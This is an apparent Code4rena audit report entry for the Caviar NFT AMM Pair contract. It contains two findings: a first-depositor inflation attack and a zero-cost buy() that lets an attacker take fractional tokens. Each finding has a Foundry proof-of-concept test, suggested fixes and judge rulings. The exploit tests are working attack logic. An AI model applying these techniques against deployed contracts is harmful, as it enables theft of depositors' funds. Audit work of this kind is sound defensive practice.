Platform: Code4rena
Start Date: 12/12/2022
Pot Size: $36,500 USDC
Total HM: 8
Participants: 103
Period: 7 days
Judge: berndartmueller
Id: 193
League: ETH
Rank: 52/103
Findings: 2
Award: $52.93
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: minhquanym
Also found by: 0x52, 0xDecorativePineapple, Apocalypto, BAHOZ, ElKu, Franfran, HE1M, Jeiwan, KingNFT, Koolex, SamGMK, Tointer, Tricko, UNCHAIN, __141345__, ak1, aviggiano, bytehat, carrotsmuggler, cccz, chaduke, cozzetti, dipp, eyexploit, fs0c, haku, hansfriese, hihen, immeas, izhelyazkov, koxuan, ladboy233, lumoswiz, rajatbeladiya, rjs, rvierdiiev, seyni, supernova, unforgiven, yixxas
6.9881 USDC - $6.99
https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L275-L286 https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L294-L304 https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L63-L99 https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L417-L428
initial deposits/liquidity can be lost.
consider this scenario,
1 ether
with his tokenId [0]
with nftAdd()
function1 wei
and tokenId [1]
( attacker will get 1e9 lpToken from 1 wei ). lpTokenSupply will be 1e9.// if there is no liquidity then init return Math.sqrt(baseTokenAmount * fractionalTokenAmount);
fractionalTokenShare = 1e18 * 1e9 / 1e18 = 1e9
. so bob will get 1e9 lpToken.if (lpTokenSupply > 0) { // calculate amount of lp tokens as a fraction of existing reserves uint256 baseTokenShare = (baseTokenAmount * lpTokenSupply) / baseTokenReserves(); uint256 fractionalTokenShare = (fractionalTokenAmount * lpTokenSupply) / fractionalTokenReserves(); return Math.min(baseTokenShare, fractionalTokenShare); }
nftRemove
and completes sandwich attack with profit of 0.5 ether
by investing only 1 wei
.
here, on remove nft calculation will be baseTokenOutputAmount = ((1e18 + 1) * 1e9) / 2e9 = 500000000000000000;
function removeQuote(uint256 lpTokenAmount) public view returns (uint256, uint256) { uint256 lpTokenSupply = lpToken.totalSupply(); uint256 baseTokenOutputAmount = (baseTokenReserves() * lpTokenAmount) / lpTokenSupply; uint256 fractionalTokenOutputAmount = (fractionalTokenReserves() * lpTokenAmount) / lpTokenSupply; return (baseTokenOutputAmount, fractionalTokenOutputAmount); }
uint256[] public attackerTokenIds; uint256[] public bobTokenIds; bytes32[][] public proofs; Caviar caviar; Pair pair; function testSandwichAttack() public { address attacker = vm.addr(1); address bob = vm.addr(2); vm.deal(attacker, 1); // 1 wei vm.deal(bob, 1 ether); uint256 attackerBeforeBalance = address(attacker).balance; bayc.mint(attacker, 0); attackerTokenIds.push(0); bayc.mint(bob, 1); bobTokenIds.push(1); caviar = new Caviar(); pair = caviar.create(address(bayc), address(0), bytes32(0)); vm.prank(attacker); bayc.setApprovalForAll(address(pair), true); vm.prank(attacker); uint256 attackerLpTokenAmount = pair.nftAdd{ value: 1 }(1, attackerTokenIds, 0, proofs); // 1 wei vm.prank(bob); bayc.setApprovalForAll(address(pair), true); vm.prank(bob); uint256 bobLpTokenAmount = pair.nftAdd{value: 1 ether}(1e18, bobTokenIds, 0, proofs); vm.prank(attacker); (uint256 baseTokenOutputAmount, uint256 fractionalTokenOutputAmount) = pair.nftRemove(attackerLpTokenAmount, 0, bobTokenIds); assertEq(baseTokenOutputAmount, 500000000000000000); assertEq(fractionalTokenOutputAmount, 1000000000000000000); uint256 attackerAfterBalance = address(attacker).balance; assertEq(attackerBeforeBalance, 1); assertEq(attackerAfterBalance, 500000000000000000); console.log("baseTokenOutputAmount=======", baseTokenOutputAmount); console.log("fractionalTokenOutputAmount=======", fractionalTokenOutputAmount); console.log("attackerBeforeBalance=======", attackerBeforeBalance); console.log("attackerAfterBalance=======", attackerAfterBalance); }
Manual Review
do not allow a very small amount on initial deposit. specify minimum amount for the initial deposit.
#0 - c4-judge
2022-12-20T14:34:49Z
berndartmueller marked the issue as duplicate of #442
#1 - c4-judge
2023-01-10T09:13:09Z
berndartmueller marked the issue as satisfactory
🌟 Selected for report: Zarf
Also found by: 0xDave, Apocalypto, CRYP70, Franfran, Jeiwan, UNCHAIN, adriro, bytehat, chaduke, hansfriese, hihen, kiki_dev, koxuan, minhtrng, rajatbeladiya, unforgiven, wait, yixxas
45.9386 USDC - $45.94
https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L147-L176 https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L398-L400
Attacker can steal fraction tokens from the protocol
when fractionalTokenReserves is higher than baseTokenReserves, buyQuote() function returns 0 as inputAmount. outputAmount
is also a factor that change the result and outputAmount
amount is controlled by user. So attacker will call this function with ouputAmount as number which will result inputAmount as 0.
consider the scenario,
bob deposits 3 bayc nft with 3e9 ether
using nftAdd()
function, in return of 3e18 fractional tokens
https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L275-L286
https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L232-L233
attacker will call buy() function with outputAmount as it will not exceeds slippage. eg. 990000000 as outputAmount
and 0 as maxInputAmount
https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L147
https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L398-L400
uint256[] public attackerTokenIds; uint256[] public bobTokenIds; bytes32[][] public proofs; Caviar caviar; Pair pair; function testStealFractions() public { address attacker = vm.addr(1); address bob = vm.addr(2); vm.deal(bob, 1 ether); bayc.mint(bob, 0); bobTokenIds.push(0); bayc.mint(bob, 1); bobTokenIds.push(1); bayc.mint(bob, 2); bobTokenIds.push(2); caviar = new Caviar(); pair = caviar.create(address(bayc), address(0), bytes32(0)); vm.prank(bob); bayc.setApprovalForAll(address(pair), true); vm.prank(bob); pair.nftAdd{value: 3000000000}(3000000000, bobTokenIds, 0, proofs); vm.prank(attacker); uint256 inputAmount = pair.buy(990000000, 0); assertEq(inputAmount, 0); uint256 attackerFractionalBalance = pair.balanceOf(address(attacker)); assertEq(attackerFractionalBalance, 990000000); }
Manual Review
add require inputAmount > 0. review the calculations.
#0 - c4-judge
2022-12-23T13:51:09Z
berndartmueller marked the issue as duplicate of #243
#1 - c4-judge
2022-12-23T13:53:35Z
berndartmueller marked the issue as partial-50
#2 - c4-judge
2023-01-10T09:43:43Z
berndartmueller changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-01-10T09:43:47Z
berndartmueller marked the issue as satisfactory